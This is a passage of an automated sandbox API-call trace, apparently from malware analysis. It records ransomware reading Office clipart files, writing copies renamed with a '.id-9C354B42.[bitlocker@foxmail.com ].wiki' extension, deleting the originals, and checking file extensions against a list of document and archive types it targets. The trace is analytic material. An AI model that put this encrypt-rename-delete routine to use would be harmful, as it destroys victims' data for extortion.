lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.816] SetEndOfFile (hFile=0x1d8) returned 1 [0191.817] CloseHandle (hObject=0x1d8) returned 1 [0191.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString=".doc") returned 4 [0191.818] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.818] lstrlenW (lpString=".docx") returned 5 [0191.818] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0191.818] lstrlenW (lpString=".pdf") returned 4 [0191.818] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.818] lstrlenW (lpString=".xls") returned 4 [0191.818] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.818] lstrlenW (lpString=".xlsx") returned 5 [0191.818] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0191.818] lstrlenW (lpString=".ppt") returned 4 [0191.818] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString=".zip") returned 4 [0191.818] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.818] lstrlenW (lpString=".rar") returned 4 [0191.818] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.818] lstrlenW (lpString=".bz2") returned 4 [0191.818] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.818] lstrlenW (lpString=".7z") returned 3 [0191.818] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString=".dbf") returned 4 [0191.818] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString=".1cd") returned 4 [0191.818] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.818] lstrlenW (lpString=".jpg") returned 4 [0191.819] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString=".doc") returned 4 [0191.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.819] lstrlenW (lpString=".docx") returned 5 [0191.819] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0191.819] lstrlenW (lpString=".pdf") returned 4 [0191.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString=".xls") returned 4 [0191.819] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString=".xlsx") returned 5 [0191.819] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0191.819] lstrlenW (lpString=".ppt") returned 4 [0191.819] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString=".zip") returned 4 [0191.819] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString=".rar") returned 4 [0191.819] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.819] lstrlenW (lpString=".bz2") returned 4 [0191.819] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.819] lstrlenW (lpString=".7z") returned 3 [0191.819] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString=".dbf") returned 4 [0191.819] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString=".1cd") returned 4 [0191.819] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0191.819] lstrlenW (lpString=".jpg") returned 4 [0191.819] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.820] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.820] lstrlenW (lpString="J0099200.GIF") returned 12 [0191.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.820] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16543) returned 1 [0191.820] CloseHandle (hObject=0x1d8) returned 1 [0191.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0191.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.820] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.821] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.821] GetLastError () returned 0x0 [0191.821] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x409f, lpOverlapped=0x0) returned 1 [0191.831] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x40a0, lpOverlapped=0x0) returned 1 [0191.832] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.832] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.832] SetEndOfFile (hFile=0x218) returned 1 [0191.832] CloseHandle (hObject=0x218) returned 1 [0191.832] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.832] SetEndOfFile (hFile=0x1d8) returned 1 [0191.833] CloseHandle (hObject=0x1d8) returned 1 [0191.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString=".doc") returned 4 [0191.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.834] lstrlenW (lpString=".docx") returned 5 [0191.834] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0191.834] lstrlenW (lpString=".pdf") returned 4 [0191.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.834] lstrlenW (lpString=".xls") returned 4 [0191.834] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.834] lstrlenW (lpString=".xlsx") returned 5 [0191.834] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0191.834] lstrlenW (lpString=".ppt") returned 4 [0191.834] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString=".zip") returned 4 [0191.834] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.834] lstrlenW (lpString=".rar") returned 4 [0191.834] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.834] lstrlenW (lpString=".bz2") returned 4 [0191.834] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.834] lstrlenW (lpString=".7z") returned 3 [0191.834] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString=".dbf") returned 4 [0191.834] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString=".1cd") returned 4 [0191.834] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.834] lstrlenW (lpString=".jpg") returned 4 [0191.834] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString=".doc") returned 4 [0191.835] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.835] lstrlenW (lpString=".docx") returned 5 [0191.835] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0191.835] lstrlenW (lpString=".pdf") returned 4 [0191.835] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString=".xls") returned 4 [0191.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString=".xlsx") returned 5 [0191.835] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0191.835] lstrlenW (lpString=".ppt") returned 4 [0191.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString=".zip") returned 4 [0191.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString=".rar") returned 4 [0191.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.835] lstrlenW (lpString=".bz2") returned 4 [0191.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.835] lstrlenW (lpString=".7z") returned 3 [0191.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString=".dbf") returned 4 [0191.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString=".1cd") returned 4 [0191.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0191.835] lstrlenW (lpString=".jpg") returned 4 [0191.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.836] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.836] lstrlenW (lpString="J0099202.GIF") returned 12 [0191.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.836] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4967) returned 1 [0191.836] CloseHandle (hObject=0x1d8) returned 1 [0191.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0191.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.836] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.837] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.837] GetLastError () returned 0x0 [0191.837] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1367, lpOverlapped=0x0) returned 1 [0191.847] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0192.008] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.008] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.008] SetEndOfFile (hFile=0x218) returned 1 [0192.274] CloseHandle (hObject=0x218) returned 1 [0192.274] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.274] SetEndOfFile (hFile=0x1d8) returned 1 [0192.275] CloseHandle (hObject=0x1d8) returned 1 [0192.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0192.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString=".doc") returned 4 [0192.704] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0192.704] lstrlenW (lpString=".docx") returned 5 [0192.704] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0192.704] lstrlenW (lpString=".pdf") returned 4 [0192.704] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.704] lstrlenW (lpString=".xls") returned 4 [0192.704] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.704] lstrlenW (lpString=".xlsx") returned 5 [0192.704] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0192.704] lstrlenW (lpString=".ppt") returned 4 [0192.704] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString=".zip") returned 4 [0192.704] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.704] lstrlenW (lpString=".rar") returned 4 [0192.704] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.704] lstrlenW (lpString=".bz2") returned 4 [0192.704] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.704] lstrlenW (lpString=".7z") returned 3 [0192.704] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString=".dbf") returned 4 [0192.704] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString=".1cd") returned 4 [0192.704] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.704] lstrlenW (lpString=".jpg") returned 4 [0192.704] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString=".doc") returned 4 [0192.705] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0192.705] lstrlenW (lpString=".docx") returned 5 [0192.705] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0192.705] lstrlenW (lpString=".pdf") returned 4 [0192.705] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString=".xls") returned 4 [0192.705] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString=".xlsx") returned 5 [0192.705] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0192.705] lstrlenW (lpString=".ppt") returned 4 [0192.705] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString=".zip") returned 4 [0192.705] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString=".rar") returned 4 [0192.705] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.705] lstrlenW (lpString=".bz2") returned 4 [0192.705] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.705] lstrlenW (lpString=".7z") returned 3 [0192.705] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString=".dbf") returned 4 [0192.705] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString=".1cd") returned 4 [0192.705] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0192.705] lstrlenW (lpString=".jpg") returned 4 [0192.705] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.706] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.706] lstrlenW (lpString="J0101858.BMP") returned 12 [0192.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.706] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32184) returned 1 [0192.706] CloseHandle (hObject=0x1e0) returned 1 [0192.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0192.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.707] GetLastError () returned 0x0 [0192.707] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.841] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.842] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.842] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.842] SetEndOfFile (hFile=0x1f4) returned 1 [0192.842] CloseHandle (hObject=0x1f4) returned 1 [0192.842] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.842] SetEndOfFile (hFile=0x1e0) returned 1 [0192.843] CloseHandle (hObject=0x1e0) returned 1 [0192.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0192.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 